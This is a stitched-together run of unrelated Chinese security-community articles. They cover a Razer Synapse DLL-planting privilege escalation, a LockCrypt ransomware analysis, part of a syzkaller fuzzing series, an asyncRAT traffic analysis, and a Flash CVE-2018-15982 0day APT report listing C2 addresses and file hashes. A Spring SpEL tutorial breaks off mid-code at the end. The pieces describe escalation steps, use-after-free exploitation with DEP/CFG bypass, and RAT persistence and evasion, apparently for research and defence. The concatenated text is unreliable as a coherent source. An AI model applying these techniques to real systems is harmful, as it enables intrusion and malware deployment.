assembly克隆了证书链，那么最后一步就是将`lol.dll`释放到`C:\ProgramData\Razer\Synapse3\Service\bin`中，然后重启主机。一旦主机重启，我们可以看到以`SYSTEM`权限运行的`Razer
Synapse
Service.exe`会加载`C:\ProgramData\Razer\Synapse3\Service\bin`目录中的`lol.dll`，最终导致`IPackage`接口中的`RegisterServices()`方法成功运行`cmd.exe`。
当服务加载`lol.dll`时，由于该assembly克隆了证书，因此会将其当成合法的assembly，并且由于我们在`IPackage`实现代码中添加了“恶意”逻辑，因此最终达到了EoP（权限提升）效果。
Razer实现了名为`Security.WinTrust`的一个命名空间，修复了这个漏洞，该命名空间包含完整性检查功能。打上补丁后，现在当目标服务获取Razer目录中的所有`*.dll`文件后，会立即调用`WinTrust.VerifyEmbeddedSignature()`函数执行检查操作。
来分析一下`WinTrust.VerifyEmbeddedSignature()`，该函数会使用`WinTrust.WinVerifyTrust()`来验证待检查的文件的确具备有效的签名：
如果文件具备有效的签名，并且签发者为Razer，那么目标服务就会继续前文分析的代码流程，在加载assembly之前检查其中是否包含有效的`IPackage`接口。添加文件完整性验证机制后，现在攻击者无法克隆合法Razer文件的证书信息，因为克隆出的新文件无法通过签名校验过程。
如果大家想进一步了解证书验证方面内容，我推荐大家参考[Matt
Graeber](https://twitter.com/mattifestation)之前写的一份白皮书：[Subverting Trust in
Windows](https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf)。
## 四、时间线
**06/05/2018** : 向Razer的HackerOne项目提交漏洞报告
**06/08/2018** : 厂商通过H1确认报告
**06/08/2018** : H1工作人员要求我们提供Synapse 3安装程序的具体版本号
**06/08/2018** : 将Synapse 3版本号提供给Razer
**07/05/2018:** 请求更新信息
**08/06/2018** : 报告已被分类
**08/27/2018** : 请求更新信息，厂商未回应
**09/14/2018** : 请求更新信息，也通过电子邮件直接联系以加快沟通进度，厂商未回应
**12/14/2018** : 通过Twitter联系Razer请求提供安全的联系方式
**12/14/2018** : H1项目经理开始调查H1报告
**12/15/2018** : Razer CEO Min-Liang Tan要求直接将电子邮件发送给安全团队
**12/16/2018** : 信息安全经理和软件高级副总裁通过邮件直接与我们联系，告诉我们将于几周内推出补丁
**12/19/2018** : 下载最新版的Synapse
3，研究存在漏洞的代码路径。向Razer的H1项目提交更多信息，也通知了Razer的信息安全经理
**12/25/2018** : Razer的某位员工联系我，提供了一个内部版本链接，以便后续漏洞反馈
**12/27/2018** : 根据他们的要求，我们通过H1报告提供有关环节措施的反馈
**01/09/2019** : 通过H1要求厂商给出更新版产品的公布时间线
**01/10/2019** : 厂商告知已公开新版本
**01/10/2019** : 报告流程已关闭
**01/10/2019:** 要求公开披露漏洞信息
**01/10/2019:** Razer同意公开披露漏洞信息
**01/21/2019:** 公布漏洞报告 | 社区文章 |
# LockCrypt勒索软件：薄弱的恶意代码可导致文件恢复
|
##### 译文声明
本文是翻译文章，文章来源：https://blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/04/lockcrypt-ransomware/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一.写在前面的话
从今年年初开始，各大新闻网站频繁被挖矿木马刷屏。搞得其他恶意软件十分被动.然而，勒索软件并没有这么快就放弃。每隔几个月就会冒出个新的变种，刷刷存在感.
就目前来说，最受欢迎的勒索软件要属GandCrab。然而，自2017年6月以来，一个不太为人所熟知的名为“LockCrypt”的家族一直在暗中监视。但由于它必须通过手动安装RDP的方式来传播，所以它并不是一个巨大的威胁——因此从来没有被详细描述过。
但最近，一些LockCrypt的受害者联系了我们，所以我们决定仔细看看,我们发现软件的作者不滚动更新自己的密码，正因如此。我们可以轻易破解，并发现代码的弱点，找到存在恢复数据的可能性。接下来看看我们是如何分析的吧!
## 二.分析样本
[99a3d049f11474fac6844447ac2da430](https://www.virustotal.com/#/file/67c7b46aed4f9b505b492b700839609c39f05ac60c58fe320eca69316fe3a06c/community)
## 三.行为分析
为了正确运行，恶意软件必须以管理员的身份运行。但因为它是由攻击者手动部署的，所以它不会使用任何操作或漏洞来自动提升它的特权。一旦运行，它将删除原始样本，并将其自己部署在C:Windows名称下wwvcm.exe：
为了增加了持久性它还申请了一个注册表项:
这个勒索软件会对所有扫描到的文件进行加密。在过程中，它不断枚举并试图终止所有运行的应用程序，这样木马在感染其他文件就不会受到打扰了
从上面的图片可以看出加密文件的名称是经过混淆的,它首先进行加密，然后转换为base64。我们发现名称的ID是随机的。并使用“1btc”的拓展名。
值得注意的是:勒索信竟然是一份TXT文件!!
他将在执行结束时弹出。
在加密的文件中，我们看到它们的熵值相当高。下面的示例显示了加密前后的BMP文件:
我们对这幅图像的初步评估是，作者并没有在这里使用简单的XOR运算。它看起来像一个由流密码加密的文件(或CBC模式中的密码)。根据查看注册表，我们发现了勒索软件留下的更多数据，比如受害者的唯一ID：
## 四.网络通信
恶意软件能够在没有Internet连接的情况下进行文件加密。但是，如果我们用一台联网的机器来运行，它就会向其CnC服务器发送信号。CnC
IP为46.32.17.222（位于伊朗）。
下图为通讯的一部分：
该bot发送关于攻击机信息的base64编码数据，比如随机ID、用户名、操作系统，以及恶意软件部署的路径。例子:
`WThSQVNVNDczUjZUMzVjNycsJ1dpbmRvd3MgNyBQcm9mZXNzaW9uYWx8dGVzdGVyfEM6XFVzZXJzXHRlc3RlclxEZXNrdG9wXGxvY2tjcnlwdC5leGU
=`
解码为：
`Y8RASU473R6T35c7','Windows 7
Professional|tester|C:UserstesterDesktoplockcrypt.exe`
## 五.内部代码
样品的外部没有任何加密，也没有被混淆。只要我们打开它，我们就能直接看到它里面的所有东西。
一开始，勒索软件会检查它处在的文件夹的位置。并试图在Windows文件夹里复制一份副本然后重新部署到那个位置。
接着，它将创建一个线程，不断地列举所有正在运行的进程并尝试终止它们。
它还会读取注册表来检查它是否已经正确部署。但是有一点要特别注意:找到合适的密钥可以阻止感染——恶意软件会识别出已经攻击过的机器。否则，它将继续进行下去。
## 六.加密
通过查看函数，我们现在可以理解在行为分析过程中所看到的神秘字节缓冲区的作用。下载的缓冲区通过其CRC32校验和验证。然后，它会设置一个全局变量来进一步运行加密程序。
事实证明，这个缓冲区就像一个用于加密模式的pad。作者可能想要实现类似于一次性的硬盘加密。但是，他们重用了缓冲区，因此，使得他们的算法容易受到攻击。
并且出于某种原因，从Internet上下载缓冲区是不可能的，所以它是由一个简单的伪随机算法生成的：
作者并没有对随机发生器做出最佳选择。他们也没有使用强大的密码，而是使用GetTickCount函数。
在加密例程中，我们可以看到这个文件只是被一个非常简单的函数打乱了：
该算法具有两个不同的回合。两轮的重建代码如下所示。
**第一轮**
这一回合只使用XOR操作，但有一种操作使你无法恢复原始的钥匙。虽然输入的DWORD与关键字的DWORD相匹配，但输入也被之前的输出所污染。在每一步中，输入DWORD的前半部分都是从以前的输出中获取的，而只有下半部分是新鲜的。这就是一个简单的流密码。
**第二轮**
这一轮看起来更复杂——不仅是XOR操作，还包括ROL和bitwise交换。但是，这次没有输入污染，所以很容易恢复。
这两个简单的循环，加上一个2500字节的“pad”缓冲区，能够产生相当高的熵值。
**文件名混淆。**
文件的名称首先使用pad缓冲区进行处理，然后使用base64编码。XOR键的偏移是从缓冲器的开始起1111个字符。
负责这个的代码部分:
## 七.结论
LockCrypt是由不成熟的攻击者创建和使用的一种简单勒索软件。它的作者忽略了正确使用密码学的指导方针。而且应用程序的内部结构也显不专业,当为手动分发创建勒索软件时，马虎，不专业的代码随处可见。这可能是因为作者不想花太多的时间准备攻击或payload。相反，他们专注于如何快速和轻松的获益，而不是用于长期创造财富。正因为如此，他们很容易被击败。 | 社区文章 |
这是内核漏洞挖掘技术系列的第九篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
第六篇：[内核漏洞挖掘技术系列(4)——syzkaller(2)](https://xz.aliyun.com/t/5098
"内核漏洞挖掘技术系列\(4\)——syzkaller\(2\)")
第七篇：[内核漏洞挖掘技术系列(4)——syzkaller(3)](https://xz.aliyun.com/t/5154
"内核漏洞挖掘技术系列\(4\)——syzkaller\(3\)")
第八篇：[内核漏洞挖掘技术系列(4)——syzkaller(4)](https://xz.aliyun.com/t/5223
"内核漏洞挖掘技术系列\(4\)——syzkaller\(4\)")
在上一篇文章中我们主要分析了一遍进行fuzz的流程，一直追踪到了系统调用的执行。这一篇文章我们主要介绍Generate和Mutate的具体实现。回到loop函数中，我们接下来看看Generate和Mutate的部分。Generate函数随机生成含有ncalls个系统调用的程序。
跟进generateCall函数，r.target.Syscalls是RegisterTarget函数初始化的。如果有ChoiceTable调用上一篇文章说过的Choose函数选择一个，然后调用generateParticularCall函数继续根据系统调用号生成具体的系统调用类型。
依次调用了generateParticularCall->generateArgs->generateArg->generateArgImpl，generateArgImpl函数只是生成了参数本身而并没有生成具体的内容，后续调用不同的generate函数进行不同的处理。
比如对于指针类型，随机生成一个特殊的值或者正常的值。
这里的特殊值可能是0x0000000000000000这样的空指针，0xffffffffffffffff这样没有映射到的内核地址或者是0x9999999999999999这样不规范的地址。
对于数组类型，根据数组长度是否有指定的范围随机生成数组的长度，再根据数组的类型调用对应的generateArg函数生成每个元素的值。
Generate的部分分析完成之后我们来接着分析Mutate的部分。Mutate部分会随机选择下面几种变异类型。
squashAny函数对参数进行压缩，因为能够压缩参数的情况比较少，所以可能性是最低的。test中的例子如下。
之前：
`foo$any0(&(0x7f0000000000)={0x11,0x11223344,0x2233,0x1122334455667788,{0x1,0x7,0x1,0x1,0x1bc,0x4},[{0x0,@res32=0x0,0x0,@i8=0x44,"aabb"},{0x0,@res64=0x1,0x0,@i32=0x11223344,"1122334455667788"}]})`,
之后：
`foo$any0(&(0x7f0000000000)=ANY=[@ANYBLOB="1100000044332211223300000000000088776655443322113d0079230000000000000000",@ANYRES32=0x0,@ANYBLOB="00000000000000000000000044aabb000000000000000000",@ANYRES64=0x1,@ANYBLOB="000000000000000044332211112233445566778800000000"])`,
splice函数克隆一份系统调用拼贴到原来的中间再移除拼贴后的后半部分。
insertCall函数插入系统调用。
test中的例子如下。
(mutator的)mutateArg函数调用(Target的)mutateArg函数对参数进行变异，在(Target的)mutateArg函数中根据不同的类型调用不同的mutate函数。
这里的处理方式和前面Generate的部分比较相似，有一些类型甚至是直接调用regenerate函数调用generateArg函数然后替换掉原来的。比如对于flag类型其实就是int类型，变异的方法包括加一个随机数，减一个随机数和异或一个随机数。对于struct/union类型来说首先会检测是否含有SpecialTypes特殊的类型。SpecialTypes允许对某些struct/union类型进行定制的Generate/Mutate。在linux系统中下面这些成员是SpecialTypes。
没有SpecialTypes的话调用generateArg函数然后替换掉原来的。
test中的部分例子如下。
变异flag：
变异filename：
变异array：
变异len：
变异proc：
(mutator的)removeCall函数调用(Prog的)removeCall函数随机移除一个系统调用。
内核漏洞挖掘技术系列关于syzkaller的部分暂时就结束了。 | 社区文章 |
# 分析asyncRAT远控的数据包格式及通讯建立过程
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
asyncRat远控不仅包括通讯、守护、隐藏、自启动等常见功能模块，而且还包含加密、反沙盒、反虚拟机、反分析、反调试等对抗模块，是一款相对比较成熟的异步通讯开源木马。本文主要目的是发现asyncRat木马的通讯建立过程及数据包格式。
被控端运行后，当被控端数据
穿透被控主机防护后，控制端将接收到被控端主机的IP地址、国家、ID、用户名、操作系统、net版本、权限、杀毒软件、系统性能等基本信息。
控制端效果图如下：
当前木马控制端与被控端的连接几乎都是采用反向连接的方式，也就是被控端主动发送数据联系控制端。所以分析木马的通讯应该先从被控端开始。
## 一、被控端
分析先从木马建立连接后，被控端主动发送的基本信息数据开始，然后分析基本信息数据被嵌入了哪些数据（这些数据可能标识数据长度、数据类型等），最后分析被控端与控制端之间通讯建立过程。
1、从入口函数开始，找到发送函数位置
1.1 入口主函数
1.1.1
初始化函数InitializeSetting（），初始化设置函数功能：主要是获取回连IP、端口、SSL通讯证书、解密秘钥、证书签名等基本信息，并对证书进行验证
1.1.2 CreateMutex()函数:保证进程的唯一的
1.1.3 RunAntiAnalysis()函数:对抗杀软、反沙盒、反虚拟机和逆向软件等
1.1.4 Install()函数:添加自启动,非管理员权限添加到注册表，否则添加到任务计划
1.1.5 ProcessCritical()函数：进程保护
1.1.6 Reconnect()函数：重新连接
1.1.7 初始化连接函数 InitializeClient()：获取控制端IP和端口后，建立SSL协议连接
1.1.8
找到发送基本数据函数位置，在InitializeClient()函数中的如下位置：发送基本信息数据包的Send(Methods.SendInfo())和发送随机数据包的Tick
= new Timer(new
TimerCallback(CheckServer)）都是主动向控制端发送数据包的调用语句，我们的分析就先从Send(Methods.SendInfo())语句开始
2、分析基本信息数据包
2.1 我们在Send(Methods.SendInfo())处设置断点，逐过程执行找到发送的401个字节的数据包
2.2 试着将这些值换算成ascii码，部分如下
但有一些特殊数值无法成功换算，共计24个，后面数据包格式的分析也就是分析这24个特殊数值，找到它们所代表的意义
2.3 进入SendInfo()函数， 这里就是需要发送的基本信息数据
3 分析基本信息数据包的封装过程
3.1 进入Encode2Bytes（）函数，继续进入Encode2Stream(ms)
3.2 Encode2Stream(ms)中，获取包类型，并根据不同的类型而采取不同的处理方式
3.3 我们返回到sendinfo()函数，并在msgpack.Encode2Bytes()位置处设置一个断点，运行后，我们获取到包类型是Map
3.4
重新回到Encode2Stream()函数中，我们知道了valueType的值是Map,那就会执行Writemap()函数，进入Writemap()函数，发现它会根据len=children.Count值得不同，写入不同的值到输出缓存。
3.5 依旧在前面断点的位置，获得len=children.Count=10
3.6 根据len=10，Writemap()中执行的位置如下，写入了第一个字节
b=0x80+0x0A=0x8A=138，我们在在ms.WriteByte()处设置断点进行验证，结果证明判断正确
3.7 第一个特殊值138分析完成，它代表了子包的数量
10个子包分别代表如下：
第一个子包：name=”Packet” value=”ClientInfo”
第二个子包：name=”HWID” value=”AC35DE8E98BDA0B”
第三个子包：name=”User” value=”t…l”
第四个子包：name=”OS” value=” Windows 10 家庭中文版 64bit”
第五个子包：name=”Path” value=”E:…………………Stub.exe”
第六个子包：name=”Version” value=”0.5.2″
第七个子包：name=”Admin” value=”User”
第八个子包：name=”Performance” value=”CPU 0% RAM 76%”
第九个子包：name=”Pastebin” value=”null”
第十个子包：name=”Antivirus” value=”Lenovo Anti-Virus powered by Huorong Security,
Windows Defender”
3.8 继续查看WriteMap()函数，在for循环中，处理了子包的name属性值和Value属性值
处理name属性值，因为name属性值一定是字符串类型，所以调用了WriteTools.WriteString()函数
处理value属性值
，根据value值的类型不同，调用不同的函数，基本信息数据里面value也是字符串类型，所以调用了WriteTools.WriteString()函数
3.9 分析WriteString()函数
观察WriteTools.WriteString()函数代码，能得到下面几个结果：
我们在b值发生变化的位置全部设置断点，
这里有一个注意点，最好把发送随机信息数据的这段代码注释掉，因为这段代码会每个15到30秒之间随机的发送数据包，会影响我们对基本数据信息包的分析
3.10 追踪b值的变化 b值就是特殊值
4 基本信息数据包总结
4.1 到此为止我们24个特殊值全部分析完了，为了更清楚，我们将这401个字节写到一个表格中
4.2 138 表示子包数量，它的赋值流程如下：
4.3 217、166、170、164、175、164、165、162、33等特殊值表示字符串长度，赋值流程如下
4.4 基本信息数据包格式如下
4.5 基本信息数据包中子包格式如下
5 分析被控端发送数据顺序
5.1 发送函数send（）
5.2 被控端发送数据包顺序如下：
5.3 注意
基本信息数据包长和随机信息数据包包长是不固定的，原因是涉及到 CPU和RAM使用的百分比的数据信息是不断发生变化的。
## 二、控制端
1、从入口函数开始，找到接收函数位置
1.1 入口主函数
1.2 控制端监听端口
1.3 异步方式等待被控端连接
1.4 创建连接对象
2、建立SSL连接
发现异步的接收数据函数
3 寻找数据包处理函数
Packet.Read()函数内调用DecodeFromeBytes()函数
4、处理接收到的数据包
4.1 处理基本信息数据包
DecodeFromStream()函数
基本信息数据包格式如下
4.2 获取第一个字节值138
4.3 设置name数据
4.4 设置value数据
5 基本信息数据包内子包中的其它数据处理同上
6 显示基本信息数据包中数据
## 三、总结
1 调试设置断点时，需要将发送随机信息数据包注释掉，因为这个包是被控端每隔15到30秒随机发出的，如果不注释掉，会影响我们对基本信息数据包的分析结果
2 所有数据包的第一个子包name值都是packet，不同的数据包对应不同的value值。控制端根据value值对不同的数据包采取不同的处理方式。
3 基本信息数据包的子包结构如下
4 被控端组装数据包过程如下
1）计算子包数量
2）计算子包的数据长度
3）构建子包
4）组装数据包
5 控制端拆包提取数据过程如下
6 被控端与控制端通讯建立过程如下 | 社区文章 |
**作者：360 Core Security
博客：[http://blogs.360.cn/post/PoisonNeedles_CVE-2018-15982.html?from=timeline&isappinstalled=0](http://blogs.360.cn/post/PoisonNeedles_CVE-2018-15982.html?from=timeline&isappinstalled=0)**
### 概述
近年来，乌克兰和俄罗斯两国之间围绕领土问题的争执不断，发生了克里米亚半岛问题、天然气争端、乌克兰东部危机等事件。伴随着两国危机事件愈演愈烈之时，在网络空间中发生的安全事件可能比现实更加激烈。2015年圣诞节期间乌克兰国家电力部门受到了APT组织的猛烈攻击，使乌克兰西部的
140 万名居民在严寒中遭遇了大停电的煎熬，城市陷入恐慌损失惨重，而相应的俄罗斯所遭受的APT攻击，外界却极少有披露。
2018年11月25日，乌俄两国又突发了“刻赤海峡”事件，乌克兰的数艘海军军舰在向刻赤海峡航行期间，与俄罗斯海军发生了激烈冲突，引发了全世界的高度关注。在2018年11月29日，“刻赤海峡”事件后稍晚时间，360高级威胁应对团队就在全球范围内第一时间发现了一起针对俄罗斯的APT攻击行动。值得注意的是此次攻击相关样本来源于乌克兰，攻击目标则指向俄罗斯总统办公室所属的医疗机构。攻击者精心准备了一份俄文内容的员工问卷文档，该文档使用了最新的Flash
0day漏洞cve-2018-15982和带有自毁功能的专属木马程序进行攻击，种种技术细节表明该APT组织不惜代价要攻下目标，但同时又十分小心谨慎。在发现攻击后，我们第一时间将0day漏洞的细节报告了Adobe官方，Adobe官方及时响应后在12月5日加急发布了新的Flash
32.0.0.101版本修复了此次的0day漏洞。
图1：漏洞文档内容
按照被攻击医疗机构的网站（<http://www.p2f.ru>）
介绍，该医疗机构成立于1965年，创始人是俄罗斯联邦总统办公室，是专门为俄罗斯联邦最高行政、立法、司法当局的工作人员、科学家和艺术家提供服务的专业医疗机构。由于这次攻击属于360在全球范围内的首次发现，结合被攻击目标医疗机构的职能特色，我们将此次APT攻击命名为“毒针”行动。目前我们还无法确定攻击者的动机和身份，但该医疗机构的特殊背景和服务的敏感人群，使此次攻击表现出了明确的定向性，同时攻击发生在“刻赤海峡”危机的敏感时段，也为攻击带上了一些未知的政治意图。
图2： 该医院机构介绍
### 攻击过程分析
攻击者通过投递rar压缩包发起攻击，打开压缩包内的诱饵文档就会中招。完整攻击流程如下：
图3： 漏洞文档攻击过程
当受害者打开员工问卷文档后，将会播放Flash 0day文件。
图4： 播放Flash 0day漏洞
触发漏洞后， winrar解压程序将会操作压缩包内文件，执行最终的PE荷载backup.exe。
图5： 漏洞执行进程树
### 0day漏洞分析
通过分析我们发现此次的CVE-2018-15982
0day漏洞是flash包com.adobe.tvsdk.mediacore.metadata中的一个UAF漏洞。Metadata类的setObject在将String类型（属于RCObject）的对象保存到Metadata类对象的keySet成员时，没有使用DRCWB（Deferred
Reference Counted, with Write
Barrier）。攻击者利用这一点，通过强制GC获得一个垂悬指针，在此基础上通过多次UAF进行多次类型混淆，随后借助两个自定义类的交互操作实现任意地址读写，在此基础上泄露ByteArray的虚表指针，从而绕过ASLR，最后借助HackingTeam泄露代码中的方式绕过DEP/CFG，执行shellcode。
#### 漏洞成因分析
在漏洞的触发过程，flash中Metadata的实例化对象地址，如下图所示。
循环调用Metadata的setObject方法后，Metadata对象的keySet成员，如下图所示。
keySet成员的部分值，如下图所示。
强制垃圾回收后keySet成员被释放的内存部分，如下图所示。
在new Class5重用内存后，将导致类型混淆。如下图所示。
后续攻击者还通过判断String对象的length属性是否为24来确定漏洞利用是否成功。（如果利用成功会造成类型混淆，此时通过获取String对象的length属性实际为获取Class5的第一个成员变量的值24）。
通过进一步反编译深入分析，我们可以发现Metadata类的setObject对应的Native函数如下图所示，实际功能存在于setObject_impl里。
在Object_impl里，会直接将传入的键（String对象）保存到Metadata的keySet成员里。
Buffer结构体定义如下（keySet成员的结构体有一定差异）。
add_keySet中保存传入的键(String对象)，如下代码所示。
这个时候垃圾回收机制认为传入的键未被引用，从而回收相应内存，然而Metadata对象的keySet成员中仍保留着被回收的内存的指针，后续通过new
Class5来重用被回收的内存，造成UAF漏洞。
#### 漏洞利用分析
在实际的攻击过程中，利用代码首先申请0x1000个String对象，然后立即释放其中的一半，从而造成大量String对象的内存空洞，为后面的利用做准备。
随后，利用代码定义了一个Metadata对象，借助setObject方法将key-value对保存到该对象中，Metadata对象的keySet成员保存着一个指向一片包含所有key(以String形式存储)的内存区域的指针。紧接着强制触发GC，由于keySet成员没有使用DRCWB，keySet成员内保存着一个指向上述内存区域的垂悬指针，随后读取keySet到arr_key数组，供后面使用。
得到垂悬指针后，利用代码立即申请0x100个Class5类对象保存到vec5（vec5是一个向量对象），由于Class5类对象的内存大小和String对象的内存大小一致（32位下均为0x30字节），且相关对象分配在同一个堆内，根据mmgc内存分配算法，会有Class5对象占据之前被释放的String对象的内存空间。
其中Class5对象定义如下，可以看到该Class5有2个uint类型的成员变量，分别初始化为0x18和2200(0x898)。
随后遍历key_arr数组，找到其中长度变为为0x18的字符串对象（在内存中，String对象的length字段和Class5的m_1成员重合），在此基础上判断当前位于32位还是64位环境，据此进入不同的利用分支。
接上图，可以看到：在找到被Class5对象占用的String索引后，利用代码将arr_key的相关属性清零，这使得arr_key数组内元素（包括已占位Class5对象）的引用计数减少变为0，在MMgc中，对象在引用计数减为0后会立刻进入ZCT（zero
count table）。随后利用代码强制触发GC，把ZCT中的内存回收，进入后续利用流程。下面我们主要分析32位环境下的利用流程。
下面我们主要分析32位环境下的利用流程，在32位分支下，在释放了占位的Class5对象后，利用代码立即申请256个Class3对象并保存到另一个向量对象vec3中，此过程会重用之前被释放的某个（或若干）Class5对象的内存空间。
其中Class3对象的定义如下，它和Class5非常相似，两者在内存中都占用0x30字节。
可以看到Class3有一个m_ba成员和一个m_Class1成员，m_ba被初始化为一个ByteArray对象，m_Class1被初始化为一个Class1对象，Class1对象定义如下：
Class3对象占位完成后，利用代码立即遍历vec5寻找一个被Class3对象占用内存的原Class5对象。找到后，保存该Class5对象的索引到this.index_1，并保存该对象（已经变为Class3对象）的m_Class1成员到this.ori_cls1_addr，供后续恢复使用。
两轮UAF之后，利用代码紧接着利用上述保存的index_1索引，借助vec5[index_1]去修改被重用的Class3对象的m_Class1成员。随后立即遍历vec3去寻找被修改的Class3对象，将该对象在vec3中的索引保存到this.index_2。
到目前为止，利用代码已经得到两个可以操纵同一个对象的vector(vec5和vec3)，以及该对象在各自vec中的索引(index_1和index_2)。接下来利用代码将在此基础上构造任意地址读写原语。
我们来看一下32位下任意地址读写原语的实现，从下图可以看到，借助两个混淆的Class对象，可以实现任意地址读写原语，相关代码在上图和下图的注释中已经写得很清楚，此处不再过多描述。关于减去0x10的偏移的说明，可以参考我们之前对cve-2018-5002漏洞的分析文章。
64位下的任意地址读写原语和32位下大同小异，只不过64位下将与Class5混淆的类对象换成了Class2和Class4。此外还构造了一个Class0用于64位下的地址读取。
以下是这三个类的定义。
以下是64位下的任意地址读写原语，64位下的读写原语一次只能读写32位，所以对一个64位地址需要分两次读写。
利用代码借助任意地址读写构造了一系列功能函数，并借助这些功能函数最终读取kernel32.dll的VirtualProtect函数地址，供后面Bypass
DEP使用。
利用最终采用与HackingTeam完全一致的手法来Bypass
DEP/CFG。由于相关过程在网上已有描述，此处不再过多解释。32和64位下的shellcode分别放在的Class6和Class7两个类内，
shellcode最终调用cmd启动WINRAR相关进程，相关命令行参数如下：
#### 漏洞补丁分析
Adobe官方在12月5日发布的Flash
32.0.0.101版本修复了此次的0day漏洞，我们通过动态分析发现该次漏洞补丁是用一个Array对象来存储所有的键，而不是用类似Buffer结构体来存储键，从而消除引用的问题。
1、某次Metadata实例化对象如下图所示，地址为0x7409540。
2、可以看到Metadata对象的偏移0x1C处不再是类似Buffer结构体的布局，而是一个Array对象，通过Array对象来存储键值则不会有之前的问题。
3、循环调用setObject设置完键值后keySet中的值如下所示。
4、强制垃圾回收发现保存的ketSet中的指针仍指向有效地字符串，说明强制垃圾回收并没有回收键值对象。
### 最终荷载分析
PE荷载backup.exe将自己伪装成了NVIDIA显卡控制台程序，并拥有详细文件说明和版本号。
文件使用已被吊销的证书进行了数字签名。
PE荷载backup.exe启动后将在本地用户的程序数据目录释放一个NVIDIAControlPanel.exe。该文件和backup.exe文件拥有同样的文件信息和数字签名，但文件大小不同。
经过进一步的分析，我们发现PE荷载是一个经过VMP强加密的后门程序，通过解密还原，我们发现主程序主要功能为创建一个窗口消息循环，有8个主要功能线程，其主要功能如下：
线程功能：
主消息循环功能：
#### 线程功能分析
##### 0 分析对抗线程
检验程序自身的名称是否符合哈希命名规则,如符合则设置自毁标志。
##### 1 唤醒线程
监控用户活动情况，如果用户有键盘鼠标活动则发送0x401消息给主窗口程序，唤醒创建注册计划任务线程。
##### 2 休眠线程
取当前TickCount 进行比较，低位小于100则发送 WM_COPYDATA指令 主窗口循环在接收这一指令后，会休眠一定时间
##### 3 定时自毁线程
解密程序中的时间字符串与当前系统时间进行比较，如果当前系统时间较大，则设置标志位，并向主窗口发送0x464消息（执行自毁）。
##### 4 通信线程
获取机器信息 包括CPU型号,内存使用情况,硬盘使用情况,系统版本,系统语言,时区 用户名,SID,安装程序列表等信息。
向 188.241.58.68 发送POST
连接成功时,继续向服务器发送数据包
符合条件时,进入RunPayload函数（实际并未捕获到符合条件的情况）
RunPayload函数
LoadPE
RunShellCode
##### 5 注册自启动线程
1、首先拿到线程6中保存的AppData\Local目录下的NVIDIAControlPanel文件路径，使用该路径或者该路径的短路径与当前文件模块路径判断是否相同。
2、随后尝试打开注册表HKEY_CURRENT_USER下SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder。
3、查询当前注册表路径下NVIDIAControlPanel键值是否存在，如果不存在或者为禁用状态则设置键值为启用的键值02,00,00,00,00,00,00,00,00,00,00,00。
##### 6 注册计划任务线程
###### 检查自身是否运行在System进程
如果运行在system进程, 则弹出Aborting消息, 退出进程,并清理环境
并不断向 Windows Update窗口投递退出消息
###### 三种文件拷贝方式
其使用了三种不同的方式去拷贝自身文件：
1. 在监测到杀软相关进程之后, 会使用Bits_IBackgroundCopyManager方式进行自拷贝
2. 如果没有相关杀软进程, 会使用iFileOperation 方式进行自拷贝
3. 如果在以上工作方式之行结束, 仍未有文件拷贝到目标目录, 则执行释放BAT方式进行自拷贝
###### Bits_IBackgroundCopyManager
(5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c)
###### iFileOperation
{3ad05575-8857-4850-9277-11b85bdb8e09}
###### 批处理文件释放
创建批处理文件，拷贝自身来释放文件。
固定释放常驻后门: F951362DDCC37337A70571D6EAE8F122
###### 检测杀软
检测的杀软包括F-Secure, Panda, ESET, Avira, Bitdefender, Norton, Kaspersky
通过查找名称和特定驱动文件实现
检测的杀软之后会执行自毁流程
###### 添加计划任务
##### 7 自毁线程
判断系统版本后分别使用ITask和ITaskService 停止NVIDIAControlPanel这个计划任务
Win7以前采用ITask接口：
Win7和Win7以后采用ITaskService接口：
在完成后清理文件。
### 附录IOC
**MD5：**
92b1c50c3ddf8289e85cbb7f8eead077
1cbc626abbe10a4fae6abf0f405c35e2
2abb76d71fb1b43173589f56e461011b
**C &C：**
188.241.58.68
* * * | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/yntuSGAggpY89DwtXxaWpg>**
## 1.SPEL简介
SPEL（Spring Expression Language），即Spring表达式语言，是比JSP的EL更强大的一种表达式语言。从Spring
3开始引入了Spring表达式语言，它能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中，在这个过程中所使用的表达式会在运行时计算得到值。使用SPEL你可以实现超乎想象的装配效果，这是其他装配技术很难做到的。
## 2.SPEL使用
SPEL的使用可以分为两种方式，第一种是在注解中进行使用，另一种是通过SPEL组件提供的接口来进行解析。
在注解中使用的情况
//@Value能修饰成员变量和方法形参
//#{}内就是SPEL表达式的语法
//Spring会根据SPEL表达式语法，为变量arg赋值
@Value("#{表达式}")
public String arg;
//将"hello"字符串赋值给word变量
@Value("hello")
private String word;
//从网址"http://www.baidu.com"获取资源
@Value("http://www.baidu.com")
private Resource url;
通过接口的使用情况
public static void main(String[] args) {
//实例化表达式解析对象
ExpressionParser parser = new SPELExpressionParser();
//调用该对象的parseExpression方法来执行表达式
Expression expres = parser.parseExpression("3*3");
//获取表达式的执行结果，想要返回的结果类型可以以这种Type.class的形式传入
String message = expres.getValue(String.class);
System.out.println(message);
}
这段代码是执行一段简单的SPEL表达式“3*3”，最终执行结果如下所示
SPEL表达式还能执行一些更复杂的命令，例如对一个对象进行操作，代码如下所示，首先是一个pojo类
public class User {
public String userName;
public User() {
}
public User(String userName) {
